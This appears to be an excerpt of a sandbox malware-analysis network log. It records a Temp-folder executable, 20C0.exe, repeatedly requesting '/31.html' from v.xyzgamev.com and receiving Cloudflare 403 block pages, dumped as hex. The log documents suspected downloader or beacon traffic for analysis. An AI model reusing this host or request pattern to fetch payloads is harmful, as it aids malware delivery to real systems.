2022-08-31 12:29:24 UTC	4920	IN	Data Raw: 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 20 61 74 74 Data Ascii: umns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online att
2022-08-31 12:29:24 UTC	4922	IN	Data Raw: 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c Data Ascii: m:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">&bul
2022-08-31 12:29:24 UTC	4923	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.4	49793	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:25 UTC	4923	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:25 UTC	4923	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:40 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=q0rxACkuwY6UYzZ274u0PLdf%2B1G9aQklojEqrIw1BTlP%2FqEmZErsVBu%2B5Ps37A5ug%2FaFZlk4Lj%2BtHMBIxwf9PJCAGsratgE3UBWxDfCwTtoKKeJqGpySi0EcWILBCgBbiw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c588ff5b995d-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:25 UTC	4923	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:25 UTC	4924	IN	Data Raw: 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f Data Ascii: " href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.coo
2022-08-31 12:29:25 UTC	4926	IN	Data Raw: 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e Data Ascii: ="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from on
2022-08-31 12:29:25 UTC	4927	IN	Data Raw: 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: :block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidd
2022-08-31 12:29:25 UTC	4928	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.4	49794	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:25 UTC	4928	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:25 UTC	4928	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:40 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=i3CBn6Mntw%2F2BJojKVKd4gtjY56Pf0xiHw%2FuU2ws%2FdpBXF5CBGBLTVa014eT5uQlPZH7zcJDS%2BScrtUA%2BVoU4qUW3d55t4Hkv49W05Er57pYT2Dfhn67k1voWnlHJ4Fxpg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c58c095f740f-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:25 UTC	4929	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:25 UTC	4929	IN	Data Raw: 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f Data Ascii: " href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.coo
2022-08-31 12:29:25 UTC	4931	IN	Data Raw: 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e Data Ascii: ="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from on
2022-08-31 12:29:25 UTC	4932	IN	Data Raw: 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: :block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidd
2022-08-31 12:29:25 UTC	4933	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.4	49795	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:26 UTC	4933	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:26 UTC	4933	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:41 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=q3THyMP2qcNhBlCW56%2BAJU9XQn1cfCmCYwITf8huHnChtBGgZAYD%2FHAFAK6YegR8Zcs0XceIcWYRLgVQdBBE%2F2wLOOtgJPtcgRcehLHSQvENBHNZyOtqhgkwcdZnxDM0iQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c58ecb0f0075-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:26 UTC	4934	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:26 UTC	4935	IN	Data Raw: 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 Data Ascii: ef="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieE
2022-08-31 12:29:26 UTC	4936	IN	Data Raw: 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 Data Ascii: -columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online
2022-08-31 12:29:26 UTC	4937	IN	Data Raw: 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: ck sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">
2022-08-31 12:29:26 UTC	4938	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.4	49796	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:26 UTC	4938	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:26 UTC	4939	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:41 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=R7clajHZdAGdZNGuTGZ4gZAEqNGu70UZ8THc2%2F5NiDzkeM%2BnRp2oJJRjUBEmpMADDukuqmC0LiNieSefGxqC5vaGW%2FK%2B9Xk3bRTC3zzcdOXiSTzhvYBkm7D2kvOw1nReuw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c5939a2dbb65-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:26 UTC	4939	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:26 UTC	4940	IN	Data Raw: 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 Data Ascii: href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cooki
